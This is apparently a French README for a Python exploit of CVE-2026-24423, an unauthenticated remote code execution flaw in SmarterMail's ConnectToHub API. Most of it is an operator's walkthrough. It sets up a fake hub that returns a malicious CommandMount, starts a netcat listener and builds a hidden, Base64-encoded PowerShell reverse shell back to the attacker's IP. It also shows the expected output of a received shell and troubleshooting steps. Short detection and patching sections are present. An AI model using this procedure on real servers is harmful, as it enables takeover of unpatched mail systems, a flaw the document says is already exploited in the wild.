
Exploit pour CVE-2026-24423 — une RCE critique non authentifiée dans l'API ConnectToHub de SmarterMail. Concerne toutes les versions antérieures à 9511.
Un exploit basé sur Python pour CVE-2026-24423, une vulnérabilité d'exécution de code à distance non authentifiée dans la fonctionnalité ConnectToHub de SmarterTools SmarterMail.
Utilisation prévue : Tests de sécurité autorisés, CTF, laboratoires Hack The Box et environnements de recherche contrôlés uniquement.
CVE-2026-24423 est une vulnérabilité d'exécution de code à distance non authentifiée affectant SmarterTools SmarterMail.
La vulnérabilité existe dans la fonctionnalité ConnectToHub. Un attaquant non authentifié peut fournir une hubAddress malveillante, ce qui amène le serveur SmarterMail à effectuer une requête HTTP vers un serveur contrôlé par l'attaquant.
Le serveur malveillant répond avec une réponse setup-initial-connection conçue contenant une valeur SystemMount.CommandMount contrôlée.
L'instance SmarterMail vulnérable traite ensuite cette valeur comme une commande du système d'exploitation, permettant l'exécution arbitraire de commandes dans le contexte de sécurité du service SmarterMail.
La vulnérabilité a reçu un score CVSS 4.0 de 9,3 (Critique) et est classée comme CWE-306 : Absence d'authentification pour une fonction critique.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-24423 |
| Éditeur | SmarterTools |
| Produit | SmarterMail |
| Vulnérabilité | Exécution de code à distance non authentifiée |
| CWE | CWE-306 |
| CVSS v4.0 | 9,3 Critique |
| CVSS v3.1 | 9,8 Critique |
| Vecteur d'attaque | Réseau |
| Authentification | Aucune |
| Interaction utilisateur | Aucune |
| Complexité | Faible |
| Publiée | 23 janvier 2026 |
| Build corrigé | 9511 |
L'enregistrement officiel de la CVE décrit le problème comme une RCE non authentifiée via la méthode API ConnectToHub.
Les versions de SmarterMail antérieures au Build 9511 sont affectées.
L'enregistrement de la CVE spécifie la plage affectée comme suit :
SmarterMail < 100.0.9511
Le build 9511, publié le 15 janvier 2026, contient le correctif de l'éditeur.
< 100.0.9511
>= 100.0.9511
Vérifiez toujours le build installé exact avant de tenter de reproduire la vulnérabilité.
La fonctionnalité vulnérable est exposée via l'API d'administration système de SmarterMail.
L'opération concernée est :
/api/v1/settings/sysadmin/connect-to-hub
Le point de terminaison accepte un paramètre hubAddress.
Conceptuellement, un attaquant peut fournir :
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
SmarterMail se connecte ensuite à l'adresse du hub fournie et demande :
/web/api/node-management/setup-initial-connection
Le serveur contrôlé par l'attaquant répond avec du JSON contenant un objet SystemMount malveillant.
La propriété importante est :
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
La valeur CommandMount est ensuite utilisée par l'application vulnérable comme commande du système d'exploitation.
Cela permet à un attaquant de passer de :
Requête HTTP non authentifiée
à :
Exécution de commande à distance
L'analyse technique de VulnCheck confirme que la hubAddress contrôlée par l'attaquant amène SmarterMail à demander le point de terminaison setup-initial-connection de l'attaquant et que le CommandMount renvoyé peut fournir une exécution arbitraire de commandes.
L'exploit se compose de deux éléments :
Le serveur Python écoute sur :
POST /web/api/node-management/setup-initial-connection
et renvoie une réponse JSON conçue contenant le SystemMount.CommandMount malveillant.
Un écouteur TCP séparé reçoit la connexion initiée par la commande exécutée sur la cible.
Cet exploit utilise intentionnellement deux ports séparés.
8081
└── Faux hub SmarterMail
4455
└── Écouteur de shell inversé
flowchart LR
A[Attaquant<br/>10.10.14.50]
H[Faux hub SmarterMail<br/>TCP/8081]
T[Cible SmarterMail<br/>10.129.57.86]
C[CommandMount<br/>Exécution de commande]
P[PowerShell]
L[Écouteur de shell inversé<br/>TCP/4455]
A -->|Déclencher ConnectToHub| T
T -->|HTTP POST| H
H -->|JSON malveillant| T
T -->|CommandMount| C
C --> P
P -->|TCP inversé| L
L --> ACible
|
| HTTP
v
10.10.14.50:8081
Cible
|
| TCP
v
10.10.14.50:4455
Ces ports servent à des fins différentes et ne doivent pas être confondus.
L'exploit utilise uniquement des modules de la bibliothèque standard de Python :
http.server
json
base64
Aucun paquet Python externe n'est requis.
Modifiez les variables suivantes :
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
Pour l'environnement HTB d'exemple :
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST est l'adresse IP de l'attaquant que la cible peut atteindre.
Pour Hack The Box, il s'agit normalement de l'IP assignée à l'interface VPN HTB :
ip addr show tun0
Exemple :
tun0:
inet 10.10.14.50
Par conséquent :
LHOST = "10.10.14.50"
LPORT est le port TCP utilisé par l'attaquant pour recevoir la connexion inversée.
Exemple :
LPORT = 4455
HUB_PORT est le port HTTP utilisé par le hub SmarterMail malveillant.
Exemple :
HUB_PORT = 8081
git clone https://github.com/<username>/<repository>.git
cd <repository>
Modifiez :
nano exploit.py
Définissez :
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
Ouvrez un terminal :
nc -lvnp 4455
Résultat attendu :
Listening on 0.0.0.0 4455
Laissez ce terminal ouvert.
Ouvrez un second terminal :
python3 exploit.py
Si la liaison au port sélectionné nécessite des privilèges élevés :
sudo python3 exploit.py
Sortie attendue :
============================================================
SmarterMail fake hub
============================================================
[+] LHOST: 10.10.14.50
[+] LPORT: 4455
[+] HUB: 10.10.14.50:8081
[+] Waiting for SmarterMail...
============================================================
Envoyez la requête appropriée à l'instance SmarterMail vulnérable.
La hubAddress fournie doit pointer vers le serveur HTTP malveillant :
{
"hubAddress": "http://10.10.14.50:8081",
"oneTimePassword": "tempst",
"nodeName": "DC"
}
La valeur importante est :
http://10.10.14.50:8081
N'utilisez pas le port du shell inversé comme port du hub.
| Objectif | IP | Port |
|---|---|---|
| VPN de l'attaquant | 10.10.14.50 | — |
| Faux hub SmarterMail | 10.10.14.50 | 8081 |
| Shell inversé | 10.10.14.50 | 4455 |
| Cible HTB | 10.129.57.86 | — |
Le flux résultant est :
hubAddress
↓
10.10.14.50:8081
↓
CommandMount malveillant
↓
PowerShell
↓
10.10.14.50:4455
L'exploit crée dynamiquement la charge utile PowerShell.
Le paramètre -EncodedCommand de PowerShell attend que la commande soit encodée en UTF-16LE avant l'encodage Base64.
Le script effectue :
encoded = base64.b64encode(
PS.encode("utf-16le")
).decode()
La commande finale est structurée comme suit :
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand <BASE64>
Cela évite l'encodage manuel de la charge utile et prévient les erreurs courantes d'encodage UTF-8/UTF-16LE.
Lorsque la cible atteint le hub malveillant :
[+] Received SmarterMail connection
[+] Path: /web/api/node-management/setup-initial-connection
[+] Body: ...
[+] Sending CommandMount payload
[+] Reverse shell -> 10.10.14.50:4455
L'écouteur de shell inversé devrait ensuite recevoir une connexion :
Connection received on 10.129.57.86 XXXXX
Une fois connecté, une validation de base peut être effectuée :
whoami
hostname
Vérifiez que le serveur écoute :
ss -lntp | grep 8081
Vérifiez l'adresse VPN :
ip addr show tun0
Confirmez que LHOST correspond à l'adresse accessible depuis la cible.
Une requête HTTP réussie signifie que la première étape fonctionne :
Cible
|
| HTTP
v
Faux hub :8081
Cela ne signifie pas nécessairement que la deuxième étape a réussi.
Vérifiez :
ss -lntp | grep 4455
Assurez-vous que Netcat a été démarré avant de déclencher l'exploit.
Vérifiez également :
LHOST = IP de l'attaquant accessible depuis la cible
LPORT = port de l'écouteur
Si vous voyez :
POST /web/api/node-management/setup-initial-connection
dans Netcat, vous avez pointé hubAddress vers l'écouteur de shell inversé.
Incorrect :
hubAddress = http://10.10.14.50:4455
Correct :
hubAddress = http://10.10.14.50:8081
Les deux ports doivent rester séparés.
Une réponse 400 peut se produire lorsque le faux hub ne renvoie pas la structure attendue par SmarterMail.
Vérifiez que la réponse contient :
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
Assurez-vous également que le chemin demandé est exactement :
/web/api/node-management/setup-initial-connection
L'analyse publique de la vulnérabilité identifie ce point de terminaison comme faisant partie du flux ConnectToHub vulnérable.
Ajoutez ici les captures d'écran du laboratoire HTB.
Exemple :

Capture suggérée :

Montrez :
[+] Received SmarterMail connection
[+] Sending CommandMount payload

Montrez la requête contenant :
{
"hubAddress": "http://10.10.14.50:8081"
}

Montrez :
Connection received on 10.129.57.86
et l'invite de commande résultante.
smartermail-rce/
│
├── exploit.py
├── README.md
│
└── screenshots/
├── nmap.png
├── burp-request.png
├── fake-hub.png
└── reverse-shell.png
Les indicateurs potentiels d'exploitation incluent des requêtes inattendues vers :
/api/v1/settings/sysadmin/connect-to-hub
et des connexions sortantes du serveur SmarterMail vers des hôtes HTTP précédemment inconnus.
Les administrateurs doivent également examiner les journaux d'application, de proxy inverse/IIS et réseau pour toute activité ConnectToHub suspecte.
CVE-2026-24423 a été incluse dans le catalogue des vulnérabilités connues exploitées de la CISA, indiquant que l'exploitation a été observée en dehors des environnements de laboratoire.
La principale mesure corrective consiste à mettre à niveau SmarterMail vers le Build 9511 ou ultérieur. La version du 15 janvier 2026 de l'éditeur a corrigé la vulnérabilité.
Lorsqu'un correctif immédiat n'est pas possible, les organisations devraient également envisager :
ConnectToHub suspectes.Ce projet est fourni uniquement à des fins de recherche en sécurité autorisée et d'éducation.
N'utilisez pas cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester.
L'auteur décline toute responsabilité en cas d'utilisation abusive, de dommages, de perte de données, d'accès non autorisé ou d'autres conséquences résultant de l'utilisation de ce logiciel.
Utilisez uniquement dans des environnements contrôlés tels que :
CVE-2026-24423 a été créditée à :
La CVE a été publiée par VulnCheck le 23 janvier 2026.